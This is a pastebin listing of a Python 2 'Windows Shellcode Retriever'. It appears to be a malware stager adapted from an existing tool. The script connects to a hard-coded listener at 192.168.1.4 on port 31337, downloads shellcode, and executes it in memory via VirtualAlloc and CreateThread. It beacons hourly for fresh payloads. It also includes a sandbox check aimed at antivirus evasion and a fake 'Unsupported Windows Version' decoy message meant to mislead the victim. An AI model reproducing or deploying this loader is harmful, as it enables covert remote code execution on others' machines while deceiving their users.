SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/usr/bin/env python | |
| 2 | # | |
| 3 | # Windows Shellcode Retriever | |
| 4 | # By: HR | |
| 5 | # | |
| 6 | # It's just a slightly modified version of Joshua Pitts' Shellcode Retriever Script... | |
| 7 | # Use Shellcode Sender on the other end to serve up your payloads for execution | |
| 8 | # | |
| 9 | ||
| 10 | import ctypes, os, signal, socket, sys, time | |
| 11 | ||
| 12 | TARGET='192.168.1.4' # Shellcode Sender Listener IP | |
| 13 | PORT=31337 # Shellcode Sender Listener Port | |
| 14 | BEACON=True # Repeat Shellcode Retrival | |
| 15 | BEACON_DELAY=3600 # 1 hour delay between retrieval attempts | |
| 16 | ||
| 17 | ||
| 18 | def system_info(): | |
| 19 | """ | |
| 20 | Check System Info and Returns Info in Dictionary Array | |
| 21 | {
| |
| 22 | 'Available Physical Memory': '644 MB', | |
| 23 | 'Product ID': '00426-OEM-8992662-00006', | |
| 24 | 'OS Name': 'Microsoft Windows 7 Ultimate', | |
| 25 | 'BIOS Version': 'Phoenix Technologies LTD 6.00, 7/2/2012', | |
| 26 | 'System Model': 'VMware Virtual Platform', | |
| 27 | 'System type': 'X86-based PC', | |
| 28 | 'Total Physical Memory': '1,023 MB', | |
| 29 | 'Logon Server': '\\\\WIN-6CQ3JVLCHM4', | |
| 30 | 'Domain': 'WORKGROUP', | |
| 31 | 'Windows Directory': 'C:\\Windows', | |
| 32 | 'OS Version': '6.1.7601 Service Pack 1 Build 7601', | |
| 33 | 'System Manufacturer': 'VMware, Inc.', | |
| 34 | 'Host Name': 'WIN-6CQ3JVLCHM4' | |
| 35 | } | |
| 36 | ||
| 37 | Example: | |
| 38 | >>> info = SysInfo() | |
| 39 | >>> info['OS Version'] | |
| 40 | '6.1.7601 Service Pack 1 Build 7601' | |
| 41 | ||
| 42 | Borrowed from our sacred stackoverflow: | |
| 43 | http://stackoverflow.com/questions/467602/how-can-i-read-system-information-in-python-on-windows | |
| 44 | """ | |
| 45 | values = {}
| |
| 46 | cache = os.popen2("SYSTEMINFO")
| |
| 47 | source = cache[1].read() | |
| 48 | sysOpts = ["Host Name", "OS Name", "OS Version", "Product ID", "System Manufacturer", "System Model", "System type", "BIOS Version", "Domain", "Windows Directory", "Total Physical Memory", "Available Physical Memory", "Logon Server"] | |
| 49 | for opt in sysOpts: | |
| 50 | values[opt] = [item.strip() for item in re.findall("%s:\w*(.*?)\n" % (opt), source, re.IGNORECASE)][0]
| |
| 51 | return values | |
| 52 | ||
| 53 | ||
| 54 | def decoy_message(): | |
| 55 | """ Decoy Message to Present to User on Epic Failure """ | |
| 56 | info = system_info() | |
| 57 | print "\n[x] Unsupported Windows Version!" | |
| 58 | print " [*] Platform: %s" % sys.platform | |
| 59 | print " [x] Build Version: %s" % info['OS Version'] | |
| 60 | print "\n[*] Keep Checking Developer Site for updates...\n\n" | |
| 61 | sys.exit(0) | |
| 62 | ||
| 63 | ||
| 64 | def sandbox_check(): | |
| 65 | """ | |
| 66 | Quick sandbox check for additional av evasion. | |
| 67 | And a message to throw the user off. | |
| 68 | """ | |
| 69 | ################################################################################## | |
| 70 | # Add some mathematical stuff or some time consuming activities for added delays # | |
| 71 | ################################################################################## | |
| 72 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| 73 | sandbox = True | |
| 74 | try: | |
| 75 | s.connect(('127.0.0.1', 445))
| |
| 76 | s.close() | |
| 77 | sandbox = False | |
| 78 | except: | |
| 79 | pass | |
| 80 | if sandbox == True: | |
| 81 | try: | |
| 82 | s.connect(('127.0.0.1', 135))
| |
| 83 | s.close() | |
| 84 | except: | |
| 85 | # Mission Abort! | |
| 86 | decoy_message() | |
| 87 | ||
| 88 | ||
| 89 | def run_shellcode(shellcode): | |
| 90 | """ | |
| 91 | ctypes VritualAlloc, MoveMem, and CreateThread | |
| 92 | From http://www.debasish.in/2012_04_01_archive.html | |
| 93 | """ | |
| 94 | # Get pointer to our allocated memory space | |
| 95 | pointer = ctypes.windll.kernel32.VirtualAlloc( | |
| 96 | ctypes.c_int(0), | |
| 97 | ctypes.c_int(len(shellcode)), | |
| 98 | ctypes.c_int(0x3000), | |
| 99 | ctypes.c_int(0x40) | |
| 100 | ) | |
| 101 | ||
| 102 | # Move Shellcode into memory | |
| 103 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) | |
| 104 | ctypes.windll.kernel32.RtlMoveMemory( | |
| 105 | ctypes.c_int(pointer), | |
| 106 | buf, | |
| 107 | ctypes.c_int(len(shellcode)) | |
| 108 | ) | |
| 109 | ||
| 110 | # Create new thread and run our shellcode in it | |
| 111 | thread_handle = ctypes.windll.kernel32.CreateThread( | |
| 112 | ctypes.c_int(0), | |
| 113 | ctypes.c_int(0), | |
| 114 | ctypes.c_int(pointer), | |
| 115 | ctypes.c_int(0), | |
| 116 | ctypes.c_int(0), | |
| 117 | ctypes.pointer(ctypes.c_int(0)) | |
| 118 | ) | |
| 119 | ||
| 120 | # Wait for our thread to finish or timeout | |
| 121 | ctypes.windll.kernel32.WaitForSingleObject( | |
| 122 | ctypes.c_int(thread_handle), | |
| 123 | ctypes.c_int(-1) | |
| 124 | ) | |
| 125 | return | |
| 126 | ||
| 127 | ||
| 128 | ||
| 129 | def fetch_shellcode(target, port): | |
| 130 | """ | |
| 131 | Raw TCP Socket Request to Target:Port to grab our remote shellcode | |
| 132 | The received Shellcode is then passed off to be run | |
| 133 | """ | |
| 134 | # Open TCP Socket Connection to target:port | |
| 135 | print '[*] Downloading Shellcode...' | |
| 136 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| 137 | s.connect((target,port)) | |
| 138 | ||
| 139 | # Receive shellcode | |
| 140 | data = s.recv(1024) | |
| 141 | shellcode = data | |
| 142 | while data != '': | |
| 143 | data = s.recv(1024) | |
| 144 | if data == '': | |
| 145 | break | |
| 146 | else: | |
| 147 | shellcode += data | |
| 148 | ||
| 149 | # Convert to Bytearray for usability sake | |
| 150 | shellcode = bytearray(shellcode) | |
| 151 | ||
| 152 | # Pass to be run in memory... | |
| 153 | print '[*] Executing Shellcode in Memory....' | |
| 154 | run_shellcode(shellcode) | |
| 155 | ||
| 156 | ||
| 157 | ||
| 158 | def main(): | |
| 159 | # Does making connetions raise alerts? | |
| 160 | sandbox_check() | |
| 161 | ||
| 162 | if TARGET == '': | |
| 163 | decoy_message() # If you cant read and edit source, you fail | |
| 164 | # TARGET = raw_input("Enter Shellcode Listner IP: ")
| |
| 165 | # PORT = raw_input("Enter Shellcode Listner Port: ")
| |
| 166 | try: | |
| 167 | fetch_shellcode(TARGET, int(PORT)) | |
| 168 | while BEACON is True: | |
| 169 | # print '[*] Sleeping for %d seconds....' % BEACON_DELAY | |
| 170 | time.sleep(BEACON_DELAY) | |
| 171 | fetch_shellcode(TARGET, int(PORT)) | |
| 172 | ||
| 173 | except Exception, e: | |
| 174 | # print str(e) | |
| 175 | pass | |
| 176 | ||
| 177 | if __name__ == "__main__": | |
| 178 | main() |